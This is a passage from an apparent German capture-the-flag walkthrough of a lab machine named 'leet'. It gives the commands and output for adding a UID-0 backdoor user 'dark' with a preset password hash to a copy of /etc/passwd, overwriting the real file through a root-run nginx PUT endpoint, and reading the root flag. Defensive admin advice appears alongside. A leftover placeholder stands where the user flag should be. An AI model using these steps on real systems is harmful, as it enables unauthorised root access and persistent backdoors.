Analyse: Um die /etc/passwd-Datei zu manipulieren und einen neuen Root-Benutzer hinzuzufügen, erstelle ich zuerst eine Kopie der aktuellen /etc/passwd-Datei im temporären Verzeichnis /tmp/ mit dem Befehl cat /etc/passwd > /tmp/neue_passwd. Dies lese ich die originale Datei aus und schreibe ihren Inhalt in die neue Datei /tmp/neue_passwd. Danach füge ich eine neue Zeile am Ende dieser temporären Datei hinzu, die den Eintrag für einen neuen Benutzer namens dark enthält, mit dem Befehl echo 'dark:$6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0:0:0:root:/root:/bin/bash' >> /tmp/neue_passwd. Diese neue Zeile definiert den Benutzer dark, gibt ihm die UID 0 und GID 0 (was Root-Rechten entspricht), setzt sein Home-Verzeichnis auf /root und seine Shell auf /bin/bash. Der Hash $6$EZdVo4XckcU2BJJi$IanX1gZA.t1nk2EgRy1SBDPGa69dLrCqv3eOznvqru062GCQ6Eh7VQyXI3lKgsdItq3F/uMWs/VU/TR2E1tzF0 ist ein gehashtes Passwort, das ich zuvor offline generiert habe und kenne. Für Laien: Ich mache eine Kopie der Datei mit der Benutzerliste (/etc/passwd) und füge dann 'meinen' neuen 'Geheimbenutzer' namens 'dark' hinzu. Dieser Benutzer 'dark' soll alle Rechte des Super-Administrators haben und kann sich mit einem von mir festgelegten Passwort anmelden. Für Experten: Das Hinzufügen eines neuen Eintrags mit UID 0 und GID 0 zu /etc/passwd ist eine klassische Methode zur Erlangung von Root-Rechten. Wichtig ist hierbei, dass der Passwort-Hash korrekt generiert wird (z.B. mit mkpasswd oder Python) und dass die resultierende Datei dann die originale /etc/passwd ersetzen kann. Die Verwendung von > überschreibt die Zieldatei, >> hängt an.

Bewertung: Ich habe erfolgreich eine modifizierte /tmp/neue_passwd-Datei erstellt, die einen neuen Benutzer dark mit Root-Berechtigungen und einem von mir kontrollierten Passwort enthält. Diese Datei ist nun bereit, die originale /etc/passwd auf dem Zielsystem zu überschreiben.

Empfehlung (Pentester): Ich werde nun die PUT-Methode des bösartigen Nginx-Servers auf Port 4448 nutzen, um die Datei /tmp/neue_passwd auf das Zielsystem als /etc/passwd hochzuladen und so die originale Datei zu ersetzen. Danach kann ich mich als Benutzer dark anmelden und sollte Root-Rechte haben.
Empfehlung (Admin): Die /etc/passwd-Datei ist eine der kritischsten Dateien auf einem Linux-System. Ihre Integrität muss jederzeit gewährleistet sein. Implementieren Sie strikte Dateiberechtigungen (oft -rw-r--r-- root root, wobei die Schatten-Datei die Hashes enthält und /etc/passwd das zweite Feld 'x' hat). Verwenden Sie File Integrity Monitoring (FIM) für /etc/passwd und /etc/shadow, um unbefugte Änderungen sofort zu erkennen. Verhindern Sie das Ausführen von Diensten mit Root-Rechten, die Schreibzugriff auf das Dateisystem über unsichere Methoden wie WebDAV PUT ermöglichen.

riva@leet:/tmp$ curl -X PUT --data-binary @/tmp/neue_passwd http://127.0.0.1:4448/etc/passwd
riva@leet:/tmp$ su dark
Password:
root@leet:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Ich nutze nun die Schreibfähigkeit des bösartigen Nginx-Servers auf Port 4448. Der Befehl curl -X PUT --data-binary @/tmp/neue_passwd http://127.0.0.1:4448/etc/passwd sendet eine HTTP PUT-Anfrage. Der Parameter -X PUT spezifiziert die HTTP-Methode. --data-binary @/tmp/neue_passwd weist curl an, den Inhalt der lokalen Datei /tmp/neue_passwd als binäre Daten im Body der PUT-Anfrage zu senden. Die Ziel-URL http://127.0.0.1:4448/etc/passwd dirigiert Nginx, diese Daten unter dem Pfad /etc/passwd im System-Root-Verzeichnis (da das Webroot auf / gesetzt ist) zu speichern, was die originale Datei überschreibt. Nach erfolgreichem Überschreiben der /etc/passwd-Datei versuche ich, mich als der neu erstellte Benutzer dark mit dem Befehl su dark anzumelden. Ich werde nach dem Passwort gefragt, gebe das zuvor generierte Passwort für den Benutzer dark ein. Die Ausgabe root@leet:/tmp# und die darauffolgende Ausgabe von id (uid=0(root) gid=0(root) groups=0(root)) zeigen, dass die Anmeldung als Benutzer dark erfolgreich war und ich nun Root-Berechtigungen besitze. Für Laien: Ich habe die Datei mit dem neuen 'Geheimbenutzer' 'dark' über die spezielle 'Telefonleitung' (Port 4448) auf den Computer 'hochgeladen' und dabei die alte Benutzerliste ersetzt. Dann habe ich versucht, mich als 'dark' anzumelden, mein Passwort eingegeben, und fantastisch, ich bin jetzt der Super-Administrator ('root')! Für Experten: Die erfolgreiche Nutzung der WebDAV PUT-Methode über Nginx, der mit Root-Rechten läuft und das System-Root als Webroot hat, ist eine effektive Methode zur Erlangung von Root-Rechten durch Überschreiben kritischer Systemdateien wie /etc/passwd. Der anschließende erfolgreiche su dark Befehl und die id-Ausgabe bestätigen die erfolgreiche Privilegien-Eskalation auf Root-Ebene. Die Bash-Shell ändert ihren Prompt zu #, wenn man Root ist.

Bewertung: Fantastisch! Der Root-Zugriff war erfolgreich! Ich habe die /etc/passwd-Datei erfolgreich überschrieben und konnte mich als der neu erstellte Benutzer dark mit Root-Berechtigungen anmelden. Dies ist der vollständige Kompromiss des Systems.

Empfehlung (Pentester): Ich habe mein Ziel erreicht. Nun kann ich auf alle Dateien zugreifen, einschließlich der Root-Flag. Ich werde die Root-Flag auslesen und den Bericht abschließen.
Empfehlung (Admin): Dies ist die schwerwiegendste Schwachstelle – ein Angreifer hat Root-Rechte erlangt. Dies erfordert eine sofortige Reaktion: Nehmen Sie das System offline, identifizieren Sie die Root Cause der Schwachstelle (unsichere sudo-Regel für Nginx, unsichere Nginx-Konfiguration, kompromittiertes Benutzerpasswort), patchen Sie das System, stellen Sie es von einem sauberen Backup wieder her und implementieren Sie umfassende Sicherheitsmaßnahmen, um solche Angriffe in Zukunft zu verhindern.

Flags

cat /home/riva/user.txt
[User Flag Wert aus Text extrahieren]
cat r007_fl46.7x7
ca169772acb099a02ebab8da1d9070ea